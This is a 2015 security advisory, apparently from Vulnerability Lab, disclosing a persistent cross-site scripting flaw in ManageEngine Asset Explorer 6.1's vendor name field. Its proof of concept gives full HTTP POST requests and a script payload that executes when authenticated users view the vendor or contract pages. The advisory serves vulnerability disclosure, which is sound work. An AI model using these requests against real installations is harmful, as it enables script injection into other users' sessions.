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ManageEngine Asset Explorer v6.1 - Persistent Vulnerability
- To: bugtraq@xxxxxxxxxxxxxxxxx, bugs@xxxxxxxxxxxxxxxxxxx
- Subject: ManageEngine Asset Explorer v6.1 - Persistent Vulnerability
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Mon, 22 Jun 2015 10:55:30 +0200
Document Title:
===============
ManageEngine Asset Explorer v6.1 - Persistent Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1488
Release Date:
=============
2015-06-22
Vulnerability Laboratory ID (VL-ID):
====================================
1488
Common Vulnerability Scoring System:
====================================
3.5
Product & Service Introduction:
===============================
ManageEngine AssetExplorer is a web-based IT Asset Management (ITAM) software
that helps you monitor and manage assets in your
network from Planning phase to Disposal phase. AssetExplorer provides you with
a number of ways to ensure discovery of all the
assets in your network. You can manage software & hardware assets, ensure
software license compliance and track purchase orders
& contracts - the whole nine yards! AssetExplorer is very easy to install and
works right out of the box.
(Copy of the Vendor Homepage:
https://www.manageengine.com/products/asset-explorer/ )
Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered an
application-side cross site scripting web vulnerability in the official
ManageEngine v6.1 Asset Explorer web-application.
Vulnerability Disclosure Timeline:
==================================
2015-06-22: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Manage Engine
Product: Asset Explorer - Web Application 6.1.0 (Build 6112)
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
An authenticated user with permissions to add new vendors can insert a cross
site scripting payload into the vendor name field. This payload is then
executed whenever any authenticated user visits either:
1.1 The edit page for the malicious vendor
1.2 The view contract page for a contract that is assigned to a malicious vendor
Vulnerable Product(s):
ManageEngine Asset Explorer
Affected Version(s):
Version 6.1.0 / Build Number 6112
(Earlier versions are likely also affected)
Vulnerability Type(s):
Persistent Cross Site Scripting
Proof of Concept (PoC):
=======================
The persistent cross site scripting web vulnerability can be exploited by
remote attackers with low privileged application user account and low user
interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.
The cross site scripting payload is added by an authenticated user through a
POST request to endorDef.do. The payload is then executing via GET requests to
VenderDef.do or ContractDef.do.
PoC: The payload is added by a POST request to VendorDef.do:
POST /VendorDef.do HTTP/1.1
Host: [VULNERABLE]:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://[VULNERABLE]:8080/VendorDef.do?toShowView=addForm
Cookie: JSESSIONID=D44D55DB9E14A3EA1A1F478BD506CD9D;
2Homehelpexp=helpexpshow; 2Homehelpcoll=helpcollhide; nonitassetslinks=hide;
Components=hide; virtual=hide; viewlinks=hide; Softwarediv=hide;
itassetslinks=show; swHomeDefaultMfg=-1; swHomeDefaultSite=-1;
swHomeGraph=sdp.inventory.home.softwaremetering.rarely; [object
HTMLTableRowElement]=show; [object HTMLDivElement]=show; [object
HTMLTableCellElement]=show; JSESSIONIDSSO=FA5EBD2894D00C9FB4C3192C85FF96CC
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 293
itemID=&divToShow=detView&toShow=&organizationName=%3Cscript%3Ealert%28123%29%3C%2Fscript%3E&vendorCurrency=2&organizationDesc=&contactPerson=&doorNumber=&street=&landmark=&city=&postalCode=&state=&country=&organizationEmail=&organizationPhone=&organizationFax=&organizationUrl=&addButton=Save
PoC: Payload(s)
<script>alert(123)</script>
Note: The payload is then executed when visiting the following pages as an
authenticated user:
Edit vendor page:
http://[VULNERABLE]:8080/VendorDef.do?mode=edit&id=3
View contract page:
http://[VULNERABLE]:8080/ContractDef.do?contractID=1
Note: The second exploit vector requires the extra step of associated the
contract with a vendor through a POST request to ContractDef.do:
POST /ContractDef.do HTTP/1.1
Host: [VULNERABLE]:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://[VULNERABLE]:8080/ContractDef.do?coMode=editCO&cID=1
Cookie: JSESSIONID=D44D55DB9E14A3EA1A1F478BD506CD9D;
2Homehelpexp=helpexpshow; 2Homehelpcoll=helpcollhide; nonitassetslinks=hide;
Components=hide; virtual=hide; viewlinks=show; Softwarediv=hide;
itassetslinks=hide; swHomeDefaultMfg=-1; swHomeDefaultSite=-1;
swHomeGraph=sdp.inventory.home.softwaremetering.rarely; [object
HTMLTableRowElement]=show; [object HTMLDivElement]=show; [object
HTMLTableCellElement]=show; JSESSIONIDSSO=FA5EBD2894D00C9FB4C3192C85FF96CC
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 317
contractMode=¬ifyUsers=&contractName=test+contract&contractID=1&createdBy=2&categoryID=1&parentID=&vendorID=4&custContractID=123&comments=&supportDetails=&selectedAsset=¤tDate=2015-05-01&fromDate=2015-04-29&toDate=2015-10-02&totalPrice=0.00¬ifyMailIds=¬ifyDay=&beforeDays=&selected=&updateContract=Save
Reference(s):
http://[VULNERABLE]:8080/VendorDef.do?toShowView=addForm
http://[VULNERABLE]:8080/ContractDef.do?coMode=editCO&cID=1
http://[VULNERABLE]:8080/VendorDef.do?mode=edit&id=3
http://[VULNERABLE]:8080/ContractDef.do?contractID=1
Security Risk:
==============
The security risk of the (persistent) application-side input validation web
vulnerability is estimated as medium. (CVSS 3.5)
Credits & Authors:
==================
Alain Homewood - PwC New Zealand
(http://www.pwc.co.nz/services/assurance-services/pwc-security/)
Disclaimer & Information:
=========================
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